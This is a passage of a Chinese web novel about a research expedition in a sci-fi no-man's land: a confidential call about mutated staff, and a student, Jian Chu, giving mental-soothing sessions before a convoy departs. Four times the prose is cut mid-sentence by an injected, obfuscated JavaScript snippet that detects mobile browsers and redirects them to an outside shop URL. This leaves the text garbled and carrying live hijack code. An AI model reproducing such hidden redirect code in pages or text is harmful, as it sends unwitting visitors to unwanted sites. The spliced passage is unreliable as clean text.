“累死了，太久没动手感觉骨头都硬了。”他站起身活动了筋骨，身体各处发出“噼里啪啦”的响声。 “飓风！约瑟夫有急事找你，去他办公室一趟。” “知道了，希望能让我出去跑跑任务，天天坐这人都要废了。”飓风嘟嘟囔囔，揉了揉胳膊上的腱子肉，走出了房门。 他走后好一会，屋内才响起窃窃私语。 “希望他赶紧出外勤吧，在这我难受死了。” “还好吧，之前都说他脾气超级爆，我感觉还行啊，人虽然急躁了点，也没有传言说的那么可怕。” “那是你没见过他出外勤的时候，特别是猎首任务，贼惨，喏你问普蓝，他之前参加过一次，回来三天没吃下饭。” “真的假的？” 被点到名字的人只是面色发青地摇摇头，什么都不肯说：“麻烦以后别提这件事了。” 众人面面相觑，一哄而散。 …… 是夜。 根据因思禾重新拟定的名单，又有一批人撤离了N62站点，进行无人区腹地之外的区域调研，空间裂缝的详细报告也已经发回联研所总部，虽然一切顺利，但今夜还是有其他工作要处理，因思禾看向桌面上的热茶已经凉透了，还是皱眉喝了一口。 突然，搁在桌面上的终端发出轻微的嗡鸣，让她忍不住长叹了一口气。 看见上面显示的姓名，因思禾的指尖敲了敲桌子，过了几秒才接起通讯。 “杨树所长，这么晚是有什么事情吗？”她字正腔圆，听上去莫名有种严阵以待的意味。 通话那头的声音带着歉意：“不好意思因博士，这么晚打扰你，因为不知道你们什么时候再行动，所以还是决定尽早跟你沟通一下。” “不打扰，您说？”因思禾语气温和，但表情却有些凝重。 通讯中时不时传来隐约的“滴”声，这是军用级加密的信号，因思禾搓了搓指尖，悄无声息从旁抽出一张白纸。 “是这样的，N58站点的初检已经结束了，情况不容乐观，有些很难用常理解释的情况，感觉有必要跟您谈谈，不过这些事可千万保密。” 因思禾扯了扯嘴角：“当然，我有数的。” “我们对两只异种进行了解剖，发现内部的身体结构，包括基因片段都已经几乎完全异化，如果不是提前有准备，做了深度取样，没有人会相信它们曾经是人类。当然，我之所以联系您，还是因为……它们的精神力模拟画像，有晚期精神力紊乱综合征的表现。” “等等。”听到这里，因思禾没忍住打断了对方，“我没记错的话，无人区的所有工作人员每半年都会进行全套体检，如果有明显的症状应该会被调离的？” “唉，这就是问题所在，今年的体检结果没有问题，虽然有异能过量使用的情况，但完全处于正常范围内，绝对不会突然进入晚期的。”杨树的声音充满了困惑，“退一万步说，这病也不会让人变成异种啊！” 因思禾的指甲在面前的白纸上刻下一道浅浅的印记，看上去只是她在思考时做的小动作。 杨树知道这是一个大难题，也没指望着能从因思禾口中得到什么有价值的意见：“而且它们的身体几乎被烧干了，没办法解释为什么还能偷袭，凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411605|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异种的身体强度显然很难说服我。” 捕捉到对方声音里带着一点卖关子的意味，因思禾抬了抬眼皮：“……你们发现了什么吗？” “瞒不过你，总部的调研员在异种身上发现了伤口，胡……其中一只杀死了另一只，而后它又被第三者杀死。”杨树语速很快，还是没有用直呼那两个名字，也算是留了点体面。 这句话的内涵太深了，异种自相残杀，以及消失的第三者，都让整个事故染上了些许阴谋的诡谲色彩。 因思禾突然想到了简初的描述，心往下沉了沉，不过杨树并不知道她在想什么，而是转头跟她聊起了简初。 “这样看来，那个掉进裂缝的小姑娘，应该只是进入了幻境，年轻人的想象力不错，潜意识里受了点惊吓，所以把故事做的挺有逻辑。” 显然，杨树的意思是简初经历的幻境，是以她自我的记忆为基础，加工而成的。 “小孩子的话，肯定不能全当真。”因思禾顺着对方感叹了一句。 “说这么多，其实我们就是担心这个第三者的存在会造成威胁，你们当时确定没有看到人吗？”杨树话锋一转，终于抛出了问题，“尽管你们提供了实时视频，但很多事情电子设备是记录不到的，人的大脑潜力无限，也许会在不经意间注意到什么。” 在场所有人里，精神力最高的就是因思禾，如果真的有第三者在场，她一定是最容易发现异常的人。 “博士……博士？”没有等到回答，杨树提高了声量。 “啊抱歉，我在回想当时的情况。”因思禾回过神来，语气诚恳地解释道，“我并没有发现其他人的存在，可惜当时情势紧急，我们不得已进入N58，可能对现场造成了一点破坏……” “没关系，你们都是自己人，留下的痕迹已经被鉴证部门排除了，不怕你笑话，除了伤口，我们确实也没有发现现场有第三者的痕迹，我都有些怀疑那只异种……会不会是自杀的了。” “这件事本来就诡异，也不能排除这种可能。”因思禾每个回答都相当圆滑，看似说了很多，其实丝毫没有表态。 “既然你也说没看见，那人估计早早就离开现场了，可惜站点里的监控都失效了，什么都没拍到。” “监控失效了？”因思禾感到疑惑，他们进入的时候，监控看起来并没有什么问题。 “你们去的那会是正常的，但在这之前，有大概一个小时的内容消失了，可工程师没有发现报错的记录，可能是受到磁场影响了。” “这么巧吗？” “不排除人为因素。” 这句话之后，通讯两端都陷入了沉默，许久之后，杨树才打起精神。 “很晚了，我也不打扰你了，总之如果博士您想起了什么，请务必及时告诉我，另外在后期的工作中也请小心，建议你们出发之前安排医生们做一下精神疏导，防止……发生意外。” 虽然说得模糊，但这个意外显然是指变成异种。 尽管在此之前，从未出现过因为精神力紊乱综合征而异化的案例，精神力的病变会改变基因结构，简直就是天方夜谭。 “谢谢所长，我会尽快安排的。” 通讯挂断，因思禾看着面前那张划满指甲印的白纸，陷入了漫长的沉思。 137. 无人区（39） 第二天一早，有人敲响了简初的房门。 “因博士？今天怎么有时间过来了？” 这几天因思禾一直是忙忙碌碌的样子，偶尔碰到也只是匆匆打个招呼。简初明显感觉到站点里的人变少了，不过没有人来打扰，她也乐得轻松，连带着莫景都过了几天悠闲的日子。 因思禾笑得滴水不漏：“忙完了顺路来看看你，另外想跟你商量点事。” 话音戛然而止，简初顺着她的眼神看向了身后的莫景。 “需要我回避吗？”莫景对此表示习以为常。 “倒也不用，我记得你给莫景做过精神疏导？”因思禾明知故问，话说到一半转头看过去，“感觉怎么样？” 莫景露出有些怔忪的表情：“什么……怎么样？” “技术怎么样？” “呃，技术挺好的。” 简初：…… 总感觉哪里怪怪的。 “是这样，之前傅遥队长也提过，想请你帮忙给大家做一下精神疏导，马上要开始新的外调，也算是做个充分的准备，毕竟到时候异能肯定不会少用。” 见简初皱起眉头，因思禾没有给她开口的机会：“这次随行的医生不够，跟作战人员比起来数量差距太大，这才想起来麻烦你。” “就当是看在我的面子上帮个忙？” 因思禾用自己的面子做人情，那意义就不太一样了。 “我倒是没问题，主要是担心经验不够……” “不会的！感谢你的帮忙。”因思禾露出真诚的笑容，“这工作得尽快开始，我待会就通知大家都去医务室。” “这么快……吗？”简初还没说完，就看着因思禾像一阵小旋风飞了出去，她伸出的手还没来得及收回，只能和身边的莫景面面相觑。 莫景脸色变幻，犹豫了两秒开口：“我是不是说错话了？” “一点小事而已，就算你不说，我也不能拒绝的。”简初拍拍她的肩膀，“走吧，我们一起过去。” “好。”莫景跟在简初身边，微微侧头看了她一眼，“那回头可以偷偷给我做一下嘛？” 按照程源的要求，她是不可以由项目组以外的人来做精神疏导的，但现在项目组的人几乎都走光了，就只剩下胡宣和程源本人。 “当然可以。” …… 不出十分钟，因思禾就把一切安排妥当，按照她的要求，众人分批陆续来到了医务室。 “没想到你也会来。”伊森终于找到机会和简初说上几句话，不过实际上也聊不到他想要知道的东西，想到两人的合作关系，他抿抿唇，试图弥补刚刚那句有些阴阳怪气的话。 “我没有别的意思，就是有点意外。” 简初：…… 你还不如别找补。 算上从启明星带来的设备，这里也只有两台监测仪器，对于医生来说，轮流使用设备也让他们有机会休息一会。 想象是这样美好的，但实际上…… 简初托着腮帮子，斜眼看着不远处的医生忙碌着，就连伊森面前也有他们自家的安保人员“赏光”，只有她面前空无一人。 虽然有点摸鱼的嫌疑，她自己倒没什么意见，就是一边的莫景看上去有点不乐。 医务室门外有人露了个头，但不过一秒就消失不见，仿佛只是偶然经过。 傅燃靠在门边，用沉默拒绝傅遥的提议。 “既然这样，那你等最后找医生做。”傅遥气得不想说话，尤其是看见对方仍然木着一张脸，一副什么都听不进去的模样。 傅燃的精神空间一直很特殊，导致他的异能使用会比常人受到更多限制，更麻烦的是，每次做精神疏导，不管是对医生还是对他自己，都算不上容易，医生的精神力会被过量消耗，带来预期外的疲惫，而他自己……在疏导过程中会感受到剧烈的疼痛。 尽管完成之后的结果是好的，但过程着实算不上美好，多亏了他平时必须要控制异能的使用，所以疏导频率也不如常人高。 “我不用，反正最近一直没用过异能。”傅燃压了压眼皮，看向一旁的黎取等人，“你们三个，去找简初，她水平很高。” “哟哟哟，你又知道了，不是不肯去的吗？”傅遥嘴一撇，对自家侄子疯狂输出，旁边的三个人乖得像鹌鹑，不敢介入姑侄两人的争论中。 拜托，直接告诉他们该做什么就可以了。 傅燃抬眼瞧她，又迅速垂下眼：“我当然知道，她……给我做过精神疏导。” “呃。”傅遥好像突然被掐住了喉咙。 “不对。”她眯起眼，上下打量着傅燃，“你怎么没跟我提过这件事，什么情况？” 傅燃的瞳孔快速颤抖了一下，他向来不太会说谎，大多数时候都是用那张冷脸蒙混过关，只要表情足够唬人，大多数人都会被蒙骗过去。 “没什么情况。”他眨眨眼，掩饰自己的心虚，“每个人的精神空间都不一样，她一共没给什么人做过疏导，我这会去肯定会暴露身份。” 傅遥双手抱胸抬抬下巴：“以后心虚的时候记得少说两句话。” 傅燃咬牙抿唇，闭上了嘴。 “那我们……现在……过去了？”林豹双伸出手指，隔着医务室的门板指了指里头，透过门板上的玻璃，还能看到简初又换了一只手托着腮帮子，正在和莫景聊天。 傅燃偏头不说话，傅遥只能叹气摆手：“你们去吧。” 于是—— “呃，你确定你们三个都要，在我这里排队？”简初下巴后缩，整个人都往后靠去，可原本撑着脸的手甚至还留在原地。 旁边有人悄咪咪投来微妙的视线，不过这三人似乎毫无感觉。 “对啊～”林豹双晃了晃肩膀，“我看好你！” 说完，她还用胳膊肘怼了怼一旁的安栩，示意他也说几句。 安栩的喉头动了动，憋了半天才开口：“你这里不要排队。” 林豹双：…… 还不如不说。 “呵呵呵呵，那也行。”简初露出核蔼的微笑，右手盖住左手，松了松指关节，“既然这样，那就你先来吧。” 安栩再怎么迟钝，也意识到自己好像说错话了，只能向队友投去求救的目光，却只换来一个看天一个看地，就是没人看他的待遇。 “坐。”简初扬扬下巴，伸出手平放在桌面上，安栩只能有些局促地坐下来，另外两人一左一右，像两位护法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14419196|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样，凑在旁边看热闹。 “伸手。” “那个，我们没有仪器……”安栩觉得他今天要把一年的话都说完了。 “那种东西不需要，就算出问题也救不了你。”简初温和地露出八颗牙，“赶紧的，伸手。” 安栩的眼神从身边的伙伴身上掠过，甚至还挑头看了眼站在门口的傅燃，才认命地把手搭在了简初的手上。 两人闭上了双眼，简初的精神力如同游鱼顺水，非常丝滑地钻进了安栩的精神空间。 精神空间的大小以及精神核心的亮度和异能的强度息息相关，但更高的异能等级并不代表更加强大的力量，实际上，异能的类型会产生更大的影响。 安栩的精神空间十分明亮，中央悬浮的圆球仿佛一个巨大的白炽灯，将每个角落照得透亮，但简初并没有因此掉以轻心。作为特战中心的作战人员，安栩使用异能的频率和强度都要比普通人高出很多，所以简初甚至可以清晰看到核心上蔓延的淡淡的白色痕迹。 它并没有像温南的精神核心那样出现裂缝，但看上去十分危险，明显是靠定期地精神疏导延缓了核心的破裂。 特战中心也太压榨人了。 灿金色的触手根据指示，乖乖一左一右“捧着”这颗球，缓慢地拨动着它，最终，简初在一条逐渐变宽的白色痕迹的末端，见到了一道细小的黑色裂缝，上面环绕的暴动的能量，和之前温南脑中的几乎如出一辙。 简初如法炮制，准备用同样的方法处理掉这些能量。 尽管精神空间内已经如火如荼地忙活起来，但从外面看上去，两人只是举着手面对面坐着——其实整个医务室都是这样安静，不过时间长了总不免有些无聊。 莫景拖着椅子，又往简初的方向凑近了一些，默默伸手抚下简初背后失重飘起的头发。 处理完裂口周围的能量，简初便打算结束这次疏导，但就在她即将抽离意识的时候，却发现小触手并不愿意就此离开。 它们挥舞着，扭曲成简初看不懂的模样，紧接着有些丧气地垂落，在末端拧出了一个问号。 简初：？ 该打问号的好像应该是她。 很快，最细长的那根小触手在虚空中拉得更长，最终变成了一根弯曲的缝针，在简初疑惑的注视下，做出她非常熟悉的动作。 它在虚空中左右扭动，似乎在……缝合伤口？ “等等，你不会是想，把这个裂口封起来吧？”简初的脑海浮现出她刚刚来到这个世界时杀死的那只“仙人掌”，当时小触手就尝试把异种那破碎的脑壳缝起来。 但是缝得好丑。 “别在别人脑子里捣乱、”简初突然顿了顿，改了口风，“这样，只能带着你缝一下。” 刚刚还像霜打茄子一样的小触手突然变得精神抖擞，左扭右扭似乎想讨价还价，但却被简初无情镇压。 “不行就别干了。” 小触手终于安静下来，“举着”那根缝针等待简初的指令，他们之间并没有展开实质性的对话，下一秒，触手就在裂口的最中间落下了一针。 简初：……不，她刚刚只是想象了一下把中间缝起来的场景！ 不要随便就下手啊！ 138. 无人区（40） “结束了？”见两人几乎同时把手放下，林豹双当即开口，却意外没有得到回答。 “这是……怎么了，有什么不对吗？” 众目睽睽之下，简初的表情可算不上好看，而安栩更是一副茫然无措的表情，让林豹双心里顿时没了底。 要是医生在诊疗后露出这样的表情，那只能说明……安栩命不久矣！ “不，没什么。”简初“遮遮掩掩”的回答更让人忧心，却没人知道她脑子里正想着那道从中间缝上，只差两根须须就变成蝴蝶结的裂口，努力克制自己叹气的欲望。 “你感觉怎么样？”黎取低声问道，在他看来安栩似乎和平时无异，但仔细一点还是能看出不同，“哪里不对吗？” “……没有。”安栩后知后觉地摇摇头，“确实感觉不太一样……效果更好了？” 他的尾音微微上扬，语气带着明显的疑惑。 超出预期的答案让黎取有些愣神，正想给林豹双一个眼神暗示，转头就看见这家伙已经把手搭在了简初手上。 黎取：…… 一个个的，心都挺大。 “诶，那边好像真行啊？”旁边排队的工作人员开始窃窃私语。 因思禾只是大致划分了上午、下午的名单，至于这些异能者什么时候来，又是找谁做精神疏导，都不在她需要考虑的范围内，如果有人因为个人原因没有完成精神疏导，那后续的结果也该是他自己承受的。 而显然，大家还是更信任自己的同事，导致医生面前的队伍明显超出了她能够承受的人数。 队伍最后的两人偷偷打量着沉默的安栩，又带着些焦躁看向正在接受精神疏导的林豹双。 “再看看？可以的话我们就过去吧？” “呃，也行吧……”有人还是带着犹豫，“毕竟是军校的学生，应该多少靠得住……” 尽管在此之前，他们并没有听说联邦军校有这号人物，伊森·斯塔倒是有所耳闻，但他们显然不能在斯塔集团的工作人员中插一脚。 “那几个人直接去找她，会不会是知道什么内情？”他们开始找各种理由说服自己。 这几个人他们从未见过，明显是傅遥队长借来的外援，也许是级别更高的小队？如果他们信任简初，就说明这姑娘确实有两把刷子。 “试试吧。”队伍最末的人昂着脑袋，再次清点了自己前面的人数，“就一次精神疏导，还能发生什么意外，他们也做了。” “走吧走吧，早点去总比晚了好。” 就这样，两人忐忑地站到了黎取身后，见他转头看过来，有些局促地点点头，算是打过招呼。 医务室外，傅燃不着痕迹地松了一口气，脚下一转就准备离开。 “怎么，要走了？”傅遥喊住他，“你……算了，现在这种情况也是没办法，但是能答应我，尽量少用异能吗？” “嗯。”傅燃低低应了一声，“我尽量。” 两人都知道，这话不过是图个心理安慰，但遇到危险，永远是当下的安全最重要，至于之后的痛苦和麻烦……总归还能再想办法解决的。 …… 随队医生的疏导压力确实很大，随着次数增长，医生需要的休息时间越来越长。 正常情况下，医生们一天最多只能接待五名精神疏导的异能者，这不仅是为了保障疏导的效果，也是为了保护医生本人的状态。 过量使用精神力可能会带来无法逆转的损伤，联邦不会做出这种杀鸡取卵的决策，因此，目前所有可以进行精神疏导的机构，都会限制医生的接诊人数不超过每日三人。 光是完成上午的工作，就让医生的脸色变得相当难看，虽说她是专业人士，但大多是胜在经验充足，毕竟当年在联邦军校读书的时候，也算不上什么很厉害的人物。 真正的尖子生…… 最边上的伊森仍然面不改色，直到最后一个异能者道谢离开，他才稍稍吐了一口气，看向一旁早已百无聊赖的简初。 伊森张张嘴，眼神掠过面带警惕的林豹双，挑了个安全的话题：“我记得你们这学期刚接触实操？” “没吃过猪肉还没见过猪跑吗？”简初挥挥手。 “什……什么？”伊森一脸茫然，随即眉头紧蹙，脸色微微涨红，“说话能不能有点风度，别这么……粗俗。” “粗俗？猪吗？”简初满脸讶异，一时不能理解联邦人民对于粗俗的定义。 “不是……”伊森生无可恋。 “噗！”一旁围观的林豹双没忍住发出笑声，见他们都看过来，只能用力摆手，“没什么，只是突然饿了。” 伊森：…… 简初并不很想纠结“猪到底粗俗在哪”的问题，毕竟世界之间也是有代沟的，她得尊重人家的本土文化。 这样的场合下，伊森本也不方便多问，他早就打算好等一行人离开站点后，再找机会和简初交换情报。 “少爷？” “我们也走了。”伊森站起身，拍拍久坐而褶皱的衣摆，“我没见到凯文？” “啊，凯文少爷好像……没见到呢。” 下属看起来吞吞吐吐，但伊森哪里能看不明白，凯文是因为不想让他来做精神疏导，才特地避而不见的。 “呵，随他去。” 反正凯文也没有什么用异能的机会，至于米勒尔会不会“逼迫”对方来，就不是他该考虑的问题了。 …… 房间角落里是已经打包好的行李，不出意外明天一早车队就将出发，尽管此时站点里仍然没有什么紧迫的感觉。 一切已经准备就绪，剩下的不过是尽人事。 莫景有些踌躇：“我还是先不做了吧，刚刚五个人已经够呛了。” “没问题，别担心。”简初笑眯眯的表情莫名缓解了她的心理压力，莫景老老实实地伸出手悬在半空，眼神紧紧跟随简初。 “上次跟学姐聊过之后好了很多，你还记得吗，在学校的时候。”莫景看上去有些紧张，明显在没话找话。 简初刚把狭窄桌面上的杂物规整到一边，就听见这句话，她动作不着痕迹地停顿一瞬，紧接着撩起眼皮：“你还记得？” “呃……”莫景转了转眼珠，像是在思考，“说实话，我已经不太记得当时说了什么了，但之后状态确实好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488270|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很多。” “那挺好的。”简初下意识搓了搓手指，在此之前她并没有意识到【唱诗班】的持续时间会如此惊人。 明明莫景之前的行为，看上去很像是已经想起了当时的一切。 但简初很确定，那次之后项目的实验进程就中断了，没有其他因素的影响，正适合再次进行检查。 “那我们开始了。” 同样的画面简初今天已经见过若干遍了，跟其他人的精神核心相比，莫景的要健康很多，看上去很少使用异能。 不过身体硬化之类能力偏向防御，在学校里确实鲜少有机会使用。 简初几乎是目的明确地来到了精神空间的某处，也就是上次出现黑色触手的位置，尽管她已经做好心理准备，还是被边界上的痕迹惊到了。 正常精神空间的边界是虚无缥缈的，看上去并不会有明显的分割，但此时，仿佛悬在半空的淡灰色痕迹却十分显眼。 袅袅的灰雾正在不停扭曲舞动，简初很确定上次并没有见到这些痕迹。 “你……最近用过几次异能？”她尽可能不动声色地询问，但还是让莫景感到紧张。 不管再怎么努力掩饰，其他人都没有被问过这个问题。刚刚旁观了五个人的精神疏导，莫景对此十分清楚。 她的声音不受控制地变得紧张：“怎……怎么了吗，我最近就用过一次。” 简初立刻明白了，正是程源让她们带上监测绑带的时候。 “没什么，有点小问题，我来处理。”虽然这么说，但简初已经发现情况不对，这些灰雾更像是什么东西留下的痕迹，小触手并不能触碰到它们，而她用自己的精神力也无法观测到它们的内部情况。 难道是…… 心底有所猜测，简初毫不犹豫控制着小触手，瞄准灰雾的中心激射而去—— 尖锐的爆鸣声响彻整个精神空间，简初猛然睁开眼，反手握住莫景吃痛想要抽离的手。 “忍着！” 莫景没有回答，整张脸已经完全失去血色，却同样握紧了简初的手，力气大到指甲几乎都要嵌进她的手背。 小触手紧紧攥住从灰雾中冒头的黑色触手，它比上次见到的要纤细很多，不出意外应当是后来重新长出来的。 “咯吱咯吱”的声音催命咒一般回响在莫景的脑海里，从低沉变得尖锐，最后成为一道漫长的哨音，“催促”她赶紧放开手，结束痛苦。 但每当她想要就此屈服，手腕就会被拉住，阻止她往后退却。 简初没有再用言语鼓励她，比起这些，最重要的是以最快的速度解决问题，小触手一圈圈缠绕在那道黑影上，几乎把它勒出鼓包。 既然拉不出来，那就消灭掉。 漫长的拉锯战后，伴随一阵黑烟和气泡破裂声，哨音戛然而止，连着原本灰雾般的痕迹迅速消散，但简初知道，这不会是最后一次。 “好了。” 莫景整个瘫坐在椅子上，鬓角已经被汗水沾湿，她双眼无神，落在简初手背上的几个月牙形的掐痕上。 对不起。 她想道歉，但是已经没有力气开口了。 139. 无人区（41） 下午的进程甚至比上午还要快。 随队的医生处理了三个人，不得不喝下补剂终止操作，本来还焦虑剩下的人该如何是好，就看见隔壁的简初以不似活人的离奇速度处理完了所有人的问题。 不，她真的做完了吗？ 仪器诚实地展示出众人的检查结果，让人不得不信。 “现在的学生真是不得了。”医生用难以置信的眼神打量着简初和伊森，一脸怀疑人生的模样离开了。 “怪不得程源这么关注她……”因思禾眉头紧蹙，“你说，我要不要和程源撕破脸，不不不，事情还没弄清楚，不能暴露了……” 傅遥有些无奈地看着因思禾自说自话，也不知道这人是什么时候沾上这个坏习惯的。 “隔墙有耳，有些事情放在心里。”她不厌其烦地提醒。 “抱歉，我尽量在改了。”因思禾叹了口气，“但是这孩子精神力太惊人了，不光是基础素质高，利用率也很惊人，一天十个人啊，多可怕的数字。” 在这样的结果面前，连一直被称为联邦军校当代天才的伊森都为之逊色。 隔行如隔山，傅遥很难感同身受地体会到这件事给因思禾带来的震撼：“八个和十个差距也不算大，两个人都很厉害。” 就算对斯塔集团的印象不算好，傅遥也必须要承认伊森·斯塔确实是一个很出色的世家子弟。 “你不懂。”因思禾表情复杂地摇摇头，也不再继续这个话题，“多亏我听了你的，简初留在站点我要放心得多，不过……” “什么？” 因思禾沉默片刻，转而摇摇头：“不，没什么，明天就要出发了，今天早点休息。” …… 第二天一早，车队整装待发。 “你就留在站点，有什么事找他们商量。”因思禾指了指简初身后的黎取和林豹双，“军师和豹子，你应该和他们很熟悉了。” 简初疑惑地歪歪头：“什么，不用我去吗？” “啊～你就当是我突然改变主意了吧。”因思禾笑眯眯地拉长声音，拍拍她的肩，“以后还有机会，至于莫景你也不用担心，我会安排人保护好她的。” 简初扬扬脑袋，走廊尽头的莫景正朝这边看，似乎在好奇她们的谈话内容。 虽然此前联研所做过最高级别的安全预案，不管是特战中心还是中庭协会，都为此付出了极大的人力物力，理所应当可以应付绝大部分的情况，更别说还有斯塔集团的“协助”。 可一路上的意外太多了，一桩桩一件件无不是超出计划的，因思禾难免忧虑，再加上联研所和她本人都不愿意就此放弃——在他们看来，一切还没有到无法继续的地步。 “至于研究员，我安排了其他人保护，正常情况下不需要你们管，不过中控室还是要麻烦你和瑞千商量着来。”因思禾叮嘱完，又回头朝简初笑笑，“实验室那边你别去，其他的随意，不要落单就行。” “我知道了。”简初没有再追根究底，不管是出于什么样的考虑，因思禾此时决意已定，她必然是要留下的。 也许会错失一些重要的信息，但现在不是可以撕破脸的时候，当然，也没有必要。 和这里相比，实验室里正在进行的交流就不太和谐了。 “麻烦你以后不要用这种下三滥的手段，还打小报告，真当自己两岁呢。”林颀沉着脸摆弄手里的试管，嘴上这么说，眼神却丝毫没有分一点给话中的主角。 为了保密，实验室里的监控全部都被拆除了，而胡宣那家伙赶着去送程源，此时也不会出现，这里是交谈的最佳场所。 “噗”的一声轻响，试管中发生奇妙的反应，淡淡的甜味从试管口逸散出来，液体的颜色也在发生微妙的转变。 “我没打小报告。”林愿表情和语气都透着淡淡的死感，好像什么事都不会让她有多余的情感波动，“而且，是你每次都找借口不给血清。” “我就不乐意给，怎么了！”林颀突然支楞起来，整个人气势汹汹。 “没怎么，反正米勒尔会找你的。”林愿面不改色。 “你！” 这人好像天生就是来克他的，总是用那张死人脸戳他痛处，该死的是他又不能真的去报复她。 林颀当然知道是谁给米勒尔打的小报告，但他就是要把这一切算在林愿头上，谁让他们之间流着相同的血呢。 恶心。 他大力摇晃手里的试管，直到它变成半透明的淡粉色，才把液体装进了桌上的两根针管里。 “给你两个，别再找我要了。”他随手一扔，林愿伸手接住针管，立刻就在自己胸口扎了一针。 “两支不够。”她实事求是，“回来之后我再找你，希望你不要拒绝。” “搞笑，说得好像我是你的移动血库一样。”林颀冷笑，“不如死在无人区，省得总是来碍眼。” 回答他的是实验室大门合上的声音，林颀豁然回头，身后已经空无一人。 “该死！” 他的拳头“砰”的一声猛然砸在桌面上，上面的试剂瓶都跟着蹦了蹦。 良久，实验室里传来两声干呕，紧接着恢复了安静。 …… “因博士，都准备好了，随时可以出发。” 因思禾拍拍李瑞千的肩膀：“这边交给你了。” “等等，博士！”旁边一直抻着脖子往里看的程源打断了她们的对话，“我这边还有人没到。” 因思禾状似不解地环顾四周：“瑞千，还有人没到吗？” “没有。”被人打断让李瑞千的表情有点发臭，“我已经点过名，所有人都到了。程院长，还请您不要质疑我工作的专业性。” “没有的事，只是简初确实是还没来。”程源笑着打了圆场。 “啊，这次外调名单里没有她。”因思禾一脸刚刚反应过来的模样，“她的状态恢复得不算好，我思来想去，还是决定这次只让莫景去。” 她随手一指，程源顺着方向就看到已经坐进另一辆车内的人。 “这是……”程源心底大叫不妙，他万万没想到因思禾还能临时改主意，可事到如今，他再说自己想留下，绝对是不可能的。 “程院长怎么还不上车？”米勒尔老神在在地经过，“学生而已，谁去都一样。” 因思禾自然知道这老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493312|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狐狸已经看穿，但目的已经达到，这些也不重要了。 “没有其他问题的话，各位就请上车吧。” 越野带着滚滚烟尘远去，站点内终于变得安静。 “他们现在应该都在中控室。”林豹双说，“等外出的队伍离开信号范围就没那么忙了，每天定时定点记录周围环境的变化就行。” “那我们也过去看看？”突然只剩下几个人，简初还有些不习惯。 两人正说着话，迎面就遇上步履匆匆的胡宣，看样子对方刚刚送别车队，正准备回实验室。 “简初！你怎么在这？”一看到她们，胡博士立刻满脸写着不满，“你不随队出行这么重要的事情，怎么不告诉我们呢？” “胡博士。”简初表情相当平静，丝毫没有被质问的无措，“我也是刚刚才得知的，因博士大概是考虑到我的身体情况，所以才临时改变主意了。” 这个理由胡宣自然已经听过一遍，本来质问她更多就是为了发泄不满，而不是得到一个冠冕堂皇的答案。 “下次有事情及时告诉我们，知道了？”他触及林豹双犀利的眼神，下意识缩了缩肩膀，“走吧，我要去忙了。” 两人目送他匆匆离开，林豹双才哼笑着从嘴里吐出几个字。 “还算识相。” 简初无奈地看她一眼，转头推开中控室的门：“比起这个，我听说无人区的辐射好像变强了？” 中控室内，主位前的数据屏几乎都开着，上面显示的数据和图谱都在缓慢跳动，而李瑞千正在和车队通话。 “我们即将离开信号范围，瑞千你记得和杨树所长联系，她说这两天会再送辆车给你们，顺便再补充一下物资。”台面上的音响里传来因思禾有些失真的声音，“把后方管好，回……见……” 音响里出现“滋滋”的电流声，紧接着是搜寻信号的提示音，李瑞千叹了口气，伸手把它关掉了。 本次的外调计划一周，跟之前不同，这次的目的地直指无人区腹地，不会在路上停留。 “你来得正好。”李瑞千迅速进入工作状态，转身从手边抽屉里掏出一沓报告，“因博士让我转交给你的。” 简初接过来，发现整份报告还被贴了封条，她眉头微拧，抬头看向李瑞千。 “别问我，我也不知道情况，这是专门给你的，看完还得销毁，建议你找个比较空闲的时间仔细研读。” 怪，真怪。 不仅是简初觉得怪，屋内的所有人都觉得怪。 在这次的行动之前，因思禾甚至都不认识简初，是什么会让她越过跟着自己将近十年的李瑞千，以及应当更值得信任的中庭协会和特战中心，给简初传递信息。 不过李瑞千并不怀疑因思禾的决定，甚至可以说没有一点好奇，她只是伸手指了指角落的位置，眼皮都不带抬：“你可以去那边看，我会把角落的监控关掉。” 简初道谢后，坐在了角落里。 